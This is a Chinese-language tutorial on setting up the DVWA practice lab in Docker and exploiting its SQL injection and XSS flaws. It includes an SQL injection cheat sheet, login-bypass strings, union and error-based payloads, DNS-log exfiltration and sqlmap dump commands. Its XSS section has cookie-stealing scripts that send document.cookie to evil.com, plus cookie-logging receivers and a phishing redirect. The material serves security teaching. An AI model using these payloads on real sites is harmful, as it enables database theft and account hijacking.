- Author:ZERO-A-ONE
- Date:2021-05-31
一、环境搭建
这里我们主要使用Linux环境配合Docker快速搭建相关环境
使用的机器配置:
- 腾讯云
- OS:Ubuntu 18.04 LTS
- CPU:Intel® Xeon® Gold 6148 CPU @ 2.40GHz
- RAM:2GB
1.1 Docker
1.1.1 简介
Docker 最初是 dotCloud
公司创始人Solomon Hykes在法国期间发起的一个公司内部项目,它是基于 dotCloud
公司多年云服务技术的一次革新,并于2013 年 3 月以 Apache 2.0 授权协议开源,主要项目代码在 GitHub 上进行维护。Docker
项目后来还加入了 Linux 基金会,并成立推动开放容器联盟(OCI)
Docker 使用 Google
公司推出的 Go 语言进行开发实现,基于 Linux
内核的 cgroup,namespace,以及 OverlayFS类的 Union FS等技术,对进程进行封装隔离,属于 操作系统层面的虚拟化技术。由于隔离的进程独立于宿主和其它的隔离的进程,因此也称其为容器。最初实现是基于 LXC,从 0.7
版本以后开始去除 LXC
,转而使用自行开发的 libcontainer,从 1.11
版本开始,则进一步演进为使用 runC和 containerd
runc
是一个 Linux 命令行工具,用于根据 OCI容器运行时规范创建和运行容器。
containerd
是一个守护程序,它管理容器生命周期,提供了在一个节点上执行容器和管理镜像的最小功能集。
Docker 在容器的基础上,进行了进一步的封装,从文件系统、网络互联到进程隔离等等,极大的简化了容器的创建和维护。使得 Docker
技术比虚拟机技术更为轻便、快捷
下面的图片比较了 Docker 和传统虚拟化方式的不同之处。传统虚拟机技术是虚拟出一套硬件后,在其上运行一个完整操作系统,在该系统上再运行所需应用进程;而容器内的应用进程直接运行于宿主的内核,容器内没有自己的内核,而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便
1.1.2 安装
首先更新软件源
$ sudo apt update $$ sudo apt upgrade -y
下载安装脚本:
$ curl -fsSL https://get.docker.com -o get-docker.sh
使用阿里云镜像下载安装:
$ sh get-docker.sh --mirror Aliyun
将当前用户加入docker组:
$ sudo usermod -aG docker $USER
安装docker-compose:
$ sudo apt install docker-compose -y
配置阿里云容器镜像加速器:
可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
$ sudo mkdir -p /etc/docker
$ sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://8q5vd0yv.mirror.aliyuncs.com"]
}
EOF
$ sudo systemctl daemon-reload
$ sudo systemctl restart docker
1.2 DVWA
1.2.1 简介
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程
DVWA 一共包含了十个攻击模块,分别是:
- Brute Force(暴力(破解))
- Command Injection(命令行注入)
- CSRF(跨站请求伪造)
- File Inclusion(文件包含)
- File Upload(文件上传)
- Insecure CAPTCHA (不安全的验证码)
- SQL Injection(SQL注入)
- SQL Injection(Blind)(SQL盲注)
- XSS(Reflected)(反射型跨站脚本)
- XSS(Stored)(存储型跨站脚本)
- 包含了 OWASP TOP10 的所有攻击漏洞的练习环境,一站式解决所有 Web 渗透的学习环境
另外,DVWA 还可以手动调整靶机源码的安全级别,分别为 Low,Medium,High,Impossible,级别越高,安全防护越严格,渗透难度越大。一般 Low 级别基本没有做防护或者只是最简单的防护,很容易就能够渗透成功;而 Medium 会使用到一些非常粗糙的防护,需要使用者懂得如何去绕过防护措施;High 级别的防护则会大大提高防护级别,一般 High 级别的防护需要经验非常丰富才能成功渗透;最后 Impossible 基本是不可能渗透成功的,所以 Impossible 的源码一般可以被参考作为生产环境 Web 防护的最佳手段
1.2.2 安装
使用docker搭建:
拉取dvwa镜像:
$ sudo docker pull vulnerables/web-dvwa
运行这个镜像:
$ sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
访问80端口就可以了哈
使用dockerfile搭建:
项目地址:
https://link.zhihu.com/?target=https%3A//github.com/MyKings/docker-vulnerability-environment
把项目克隆到本地
$ git clone https://github.com/MyKings/docker-vulnerability-environment.git
进入DVWA目录
$ cd docker-vulnerability-environment/DVWA
创建docker镜像
$ docker build -t dvwa .
创建docker容器
# 交互创建一个容器, 本容器 80 端口映射到宿主机的 8003 端口上,端口根据需要修改$ docker run -it --name dvwa_vul -p 0.0.0.0:8003:80 dvwa /bin/bash# 后台运行$ docker run -d --name dvwa_vul -p 0.0.0.0:8003:80 dvwa# 进入一个已经运行的容器$ docker exec -it dvwa_vul sh
默认的登录参数:
- Username: admin
- Password: password
登录DVWA,第一次需要创建数据库
安装成功
二、SQL Injection
2.1 SQL注入基础知识
通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:
- 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
- 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中
2.1.1 基本概念
- SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击
- 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限
- 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞
2.1.2 常用工具
- Burp Suite:Burp Suite 使用介绍
- Tamper Data (Firefox addon)
- HackBar (Firefox addon)
- sqlmap:sqlmap 用户手册
2.1.3 注入常见参数
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
2.1.4 语法参考与小技巧
行间注释
-
--
DROP sampletable;--
-
#
DROP sampletable;#
行内注释
-
/*注释内容*/
DROP/*comment*/sampletable` DR/**/OP/*绕过过滤*/sampletable` SELECT/*替换空格*/password/**/FROM/**/Members
-
/*! MYSQL专属 */
SELECT /*!32302 1/0, */ 1 FROM tablename
字符串编码
ASCII()
:返回字符的 ASCII 码值CHAR()
:把整数转换为对应的字符
后台万能密码
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
- 以不同的用户登陆
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
2.1.5 注入语句备忘
数据库名
SELECT database();SELECT schema_name FROM information_schema.schemata;
表名
-
union 查询
--MySQL 4版本时用version=9,MySQL 5版本时用version=10UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
-
盲注
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
-
报错
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));-- 在5.1.5版本中成功。
列名
-
union 查询
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
-
盲注
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
-
报错
-- 在5.1.5版本中成功AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- MySQL 5.1版本修复了AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
-
利用
PROCEDURE ANALYSE()
-- 这个需要 web 展示页面有你所注入查询的一个字段-- 获得第一个段名SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()-- 获得第二个段名1 LIMIT 1,1 PROCEDURE ANALYSE()-- 获得第三个段名1 LIMIT 2,1 PROCEDURE ANALYSE()
根据列名查询所在的表
-- 查询字段名为 username 的表SELECT table_name FROM information_schema.columns WHERE column_name = 'username';-- 查询字段名中包含 username 的表SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
绕过引号限制
-- hex 编码SELECT * FROM Users WHERE username = 0x61646D696E-- char() 函数SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
绕过字符串黑名单
SELECT 'a' 'd' 'mi' 'n';SELECT CONCAT('a', 'd', 'm', 'i', 'n');SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
使用 CONCAT()
时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()
。CONCAT_WS()
函数第一个参数表示用哪个字符间隔所查询的结果
条件语句
CASE
, IF()
, IFNULL()
, NULLIF()
.
SELECT IF(1=1, true, false);SELECT CASE WHEN 1=1 THEN true ELSE false END;
延时函数
SLEEP()
, BENCHMARK()
.
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
order by 后的注入
order by
由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order
或者 order by
的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:
原始链接:http://www.test.com/list.php?order=vote
根据 vote
字段排序。找到投票数最大的票数 num
然后构造以下链接:
http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand
函数:
http://www.test.com/list.php?order=rand(true)http://www.test.com/list.php?order=rand(false)
以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:
http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
宽字节注入
国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes
等对特殊字符进行转移的绕过。反斜杠 \
的十六进制为 %5c
,在你输入 %bf%27
时,函数遇到单引号自动转移加入 \
,此时变为 %bf%5c%27
,%bf%5c
在 GBK 中变为一个宽字符「縗」。%bf
那个位置可以是 %81-%fe
中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用
DNSLOG 注入
DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
dnslog 平台:http://ceye.io/
mysql> use security;Database changedmysql> select load_file('\\\\test.xxx.ceye.io\\abc');+-------------------------------------------+| load_file('\\\\test.xxx.ceye.io\\abc') |+-------------------------------------------+| NULL |+-------------------------------------------+1 row in set (22.05 sec)mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));+----------------------------------------------------------------------+| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |+----------------------------------------------------------------------+| NULL |+----------------------------------------------------------------------+1 row in set (0.00 sec)
2.1.6 注入类型
-
按照数据提交的方式:GET 注入、POST 注入、COOKIE 注入、HTTP 头部注入
-
按照注入点类型来分:数据型注入点、字符型注入点、搜索性注入点
-
按照执行效果来分:基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入、堆叠注
入、宽字节注入
2.1.7 SQL 注入常规利用思路
- 寻找注入点,可以通过 web 扫描工具实现
- 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息
- 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
- 可以通过获得的用户信息,寻找后台登录。5) 利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
2.1.8 手工注入常规利用思路
- 判断是否存在注入,注入是字符型还是数字型
- 猜解 SQL 查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 查询到账户的数据
- 查询当前数据库的安装系统和位置
三、DVWA-SQL 注入
3.1 Low 级别 SQL 注入实战
源码审计:
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res: false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; }mysqli_close($GLOBALS["___mysqli_ston"]);}?>
在源码中我们可以看见通过 REQUEST 方式接受传递的参数 id,没有对参数做任何的过滤,直接通过 sql 语句带入数据库进行查询,因此可以进行 sql 注入利用
3.1.1 手工注入
设置安全级别为 Low 后,点击 SQL Injection
进入 SQL 注入练习页面。首先在文本框随便输入一个 ID 号,发现可以返回用户信息。同时发现 URL 中出现了提交的参数信息,说明该页面提交方式为 GET
在文本框中输入 1‘
,发现页面报错,说明单引号被执行,存在 SQL 注入漏洞,并从报错信息中得知该站点的数据库为 MySQL
在文本框中输入 1 and 1=1
和 1 and 1=2
,都能返回数据,说明可能注入漏洞不是数字型
在文本框输入 1' and 1=1#
,可以返回数据,输入 1' and 1=2#
,没有数据返回,说明注入成功,确认漏洞为字符型
在文本框输入 1' and 1=2 union select 1,2#
,确认页面中 First name 处显示的是记录集中第一个字段,Surname 处显示的是记录集中第二个字段
在文本框输入 1' and 1=2 union select database(),2#
,原第一个字段处显示当前数据库名称为 dvwa
在文本框输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
,原第二个字段处显示当前数据库中的所有表名。发现 guestbook 表和 users 表,users 表中极有可能是记录用户名和密码的表
在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
,原第二个字段处显示 users 表中的所有字段名。其中发现 user 和 password 字段,极有可能是用户名和密码字段
文本框输入 1' and 1=2 union select user,password from users#
,原第一个字段和第二个字段处分别显示表中的用户名和密码
在 http://www.cmd5.com 破解 MD5 加密的密码,即可得到密码明文
3.1.2 SQLMap自动化注入
在 Kali 中访问 DVWA ,安全级别设置为 Low,进入 SQL 注入模块,随意输入 ID 值,并复制当前 URL 地址
http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#
由于 DVWA 需要登录才能访问该页面,所以使用 SQLMap 工具自动化注入时,需要获取当前的 Cookie 值,我们可以在反射型 XSS 的练习模块中获取当前的 Cookie。点击 XSS Reflected
,在文本框中输入 ><script>alert(document.cookie)</script>
,提交后即可显示当前 Cookie
PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4; security=low
复制当前 URL 地址,打开 Kali 的终端,使用 SQLMap 命令 sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' --dbs
,可以自动探测出当前数据库名
使用 SQLMap 命令 sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' -D dvwa --tables
,可以自动探测出 dvwa 数据库中的所有表名
使用 SQLMap 命令 sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' -D dvwa -T users --column
,可以自动探测出 users 表中的所有字段名
使用 SQLMap 命令 sqlmap -u "http://42.192.198.235/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie 'security=low; PHPSESSID=pfm0dle1i7q4gh1f6ooic1bdp4' -D dvwa -T users -C user,password --dump
,可以自动探测出用户名和密码内容,并自动 MD5 解密,中途需要手动输入 Y 进行确认
3.2 Medium 级别 SQL 注入实战
审查源码
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]);}?>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-69TPFuVW-1622465067108)(%E5%A4%A7%E4%BD%9C%E4%B8%9A.assets/image-20210531153541736.png)]
可以看到,Medium 级别的代码利用 mysql_real_escape_string 函数对特殊符号\x00、\n、\r、\、’、”、\x1a 进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入
3.2.1 手工注入
安全级别设置为 Medium 后,再次进入 SQL 注入模块,发现没有了文本框,随便选择一个 ID 后,可以返回数据,且 URL 上没有显示任何参数,说明该页面为 POST 提交方式。由于页面中没有提供输入信息的接口,所以需要使用 Burpsuite 等工具来构造 POST 包
运行 Burpsuite,并设置好浏览器代理
再次到 SQL 注入页面随便选择一个 ID 值,点击提交,该数据包会被 Burpsuite 拦截并显示
在 ID 值后加入 '
单引号,并点击 Forward
按钮,浏览器报错,发现同样存在 SQL 注入漏洞
再次拦截数据包,加入 and 1=2 union select 1,2#
,确认页面中 First name 处显示的是记录集中第一个字段,Surname 处显示的是记录集中第二个字段
查询数据库名、表名方法与 Low
级别思路一致,只不过不需要单引号和 # 来闭合语法
拦截数据包,加入 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
来查询字段名时,发现页面报错
先暂时关掉 Burpsuite 的代理功能,在页面中点击 View Source
,查看当前源码,发现对提交的 ID 值添加了 mysql_real_escape_string
函数,该函数会对单引号进行转义,从而导致 SQL 语句构造不成功
对表名 users
进行 16 进制 HEX 编码,就可以无需使用单引号。users
HEX 编码后为 0x7573657273
(网上有网站可以对字符进行在线 HEX 编码,可自行搜索)。重新开启 Burpsuite 的代理功能后,在拦截的包中加入 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
,可以成功查询出字段名
拦截数据包,加入 and 1=2 union select user,password from users#
,可以成功查询出用户名和密码的内容
3.2.2 SQLMap自动化注入
使用 SQLMap 自动完成 POST 注入,需要把正常 POST 包的内容复制到一个 txt 文档,再调用文档来进行注入。先使用 Burpsuite 拦截正常 POST 包,右键 - 选择 Copy to file 复制到 /root/post.txt,关闭 Burpsuite 的代理功能,再使用命令 sqlmap -r /root/post.txt --dbs
,来查询数据库名称
使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa --tables
,查询表名
使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa -T users --columns
,查询字段名
使用 SQLMap 命令 sqlmap -r /root/post.txt -D dvwa -T users -C user,password --dump
,查询用户名和密码内容
3.3 High 级别 SQL 注入实战
审查源码
<?phpif( isset( $_COOKIE[ 'id' ] ) ) { // Get input $id = $_COOKIE[ 'id' ]; // Check database $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors // Get results $num = @mysql_numrows( $result ); // The '@' character suppresses errors if( $num > 0 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // Might sleep a random amount if( rand( 0, 5 ) == 3 ) { sleep( rand( 2, 4 ) ); } // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } mysql_close();}?>
将 dvwa 设置为高级之后点击 SQL Injection,点击“here to change your ID”,页面自动跳转。防御了自动化的 SQL 注入,分析源码可以看到,对参数没有做防御,在 sql 查询语句中限制了查询条数,可以通过 webcruiser 抓包,修改数据实现绕过
析页面源码,发现加入了 LIMIT 1
来限制 SQL 语句最多只查询出一条记录,导致无法正使用常规注入手段来爆出数据库中其他内容
3.3.1 手动注入
设置安全级别为 High,点开 SQL 注入页面,发现没有输入框,点击 here to change your ID
,跳转到新窗口输入查询信息。分离了输入页面和显示结果页面,防止使用 SQLMap 等工具进行自动化注入。同时,确认该页面参数提交方式为 POST
文本框输入 1'
,发现页面报错,但是报错内容被替换,无法得知数据库类型
在文本框中输入 1’ and 1=1#
,注释掉后面的 LIMIT 1
命令使其无效,可以返回数据,加入 1‘ and 1=2#
,没有返回数据,说明仍存在 SQL 注入漏洞,并确认漏洞为字符型
后续注入步骤与 Low
级别思路一致,不再赘述
3.4 Impossible 级别 SQL 注入
设置安全级别为 Impossible,查看 SQL 注入页面源码,发现使用了 PDO 技术,几乎彻底杜绝了 SQL 注入
<?phpif( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } }}// Generate Anti-CSRF tokengenerateSessionToken();?>
impossible.php 代码采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库利用is_numeric($id)函数来判断输入的 id 是否是数字 or 数字字符串,满足条件才知晓 query查询语句 Anti-CSRF token 机制的加入了进一步提高了安全性,session_token 是随机生成的劢态值,每次向服务器请求,客户端都会携带最新从服务端下发的 session_token 值向服务器请求作匹配验证,相互匹配才会验证通过
四、XSS
4.1 XSS 简介
跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击
4.1.1 XSS 漏洞分类及原理
反射型 xss:简单地把用户输入的数据反射给浏览器
反射攻击是指注入的脚本从Web服务器反射出来的攻击,例如错误消息,搜索结果或包含作为请求的一部分发送到服务器的部分或全部输入的任何其他响应。反射的攻击通过其他途径传递给受害者,例如在电子邮件中或在其他一些网站上。当用户被欺骗点击恶意链接,提交特制表单,甚至只是浏览恶意网站时,注入的代码会传播到易受攻击的网站,这会将攻击反映回用户的浏览器。然后浏览器执行代码,因为它来自“可信”服务器。反射的XSS 有时也称为非持久性或 II 型 XSS。简单来说,黑客往往需要用户诱使用户点击一个恶意链接,才能攻击成功
存储型 XSS:将用户输入的数据存储在服务器端
Stored Cross Site Scripting(XSS)存储型跨站脚本攻击会把用户输入的数据存储在服务器端。如果 web 应用程序从恶意用户处收集了输入数据并将这些数据存储在数据库中以供以后使用,就会发生储存式跨站点脚本。如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS比较危险,容易造成蠕虫,盗窃 cookie 等
DOM-XSS:通过修改页面的 DOM 节点形成的 XSS
DOM—based XSS 漏洞是基于文档对象模型 Document Objeet Model,DOM)的一种漏洞。DOM 是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM 中有很多对象,其中一些是用户可以操纵的,如 uRI,location,refelTer 等。客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得 DOM 中的数据在本地执行,如果 DOM 中的数据没有经过严格确认,就会产生 DOM—based XSS 漏洞
4.2 反射型 XSS
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
服务器端代码:
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
可以看到,代码直接引用了 name
参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。
4.3 持久型 XSS
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
服务器端代码:
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); }?>
代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。
4.4 DOM XSS
传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。
HTML 代码:
<html> <head> <title>DOM-XSS test</title> </head> <body> <script> var a=document.URL; document.write(a.substring(a.indexOf("a=")+2,a.length)); </script> </body></html>
将代码保存在 domXSS.html 中,浏览器访问:
http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>
即可触发 XSS 漏洞。
4.5 XSS 利用方式
4.5.1 Cookies 窃取
攻击者可以使用以下代码获取客户端的 Cookies 信息:
<script>document.location="http://www.evil.com/cookie.asp?cookie="+document.cookienew Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie</script><img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>
在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:
<% msg=Request.ServerVariables("QUERY_STRING") testfile=Server.MapPath("cookie.txt") set fs=server.CreateObject("Scripting.filesystemobject") set thisfile=fs.OpenTextFile(testfile,8,True,0) thisfile.Writeline(""&msg& "") thisfile.close set fs=nothing%><?php$cookie = $_GET['cookie'];$log = fopen("cookie.txt", "a");fwrite($log, $cookie . "\n");fclose($log);?>
攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。
4.5.2 会话劫持
由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。
如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。
比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。
4.5.3 钓鱼
-
重定向钓鱼
把当前页面重定向到一个钓鱼页面。
http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
-
HTML 注入式钓鱼
使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。
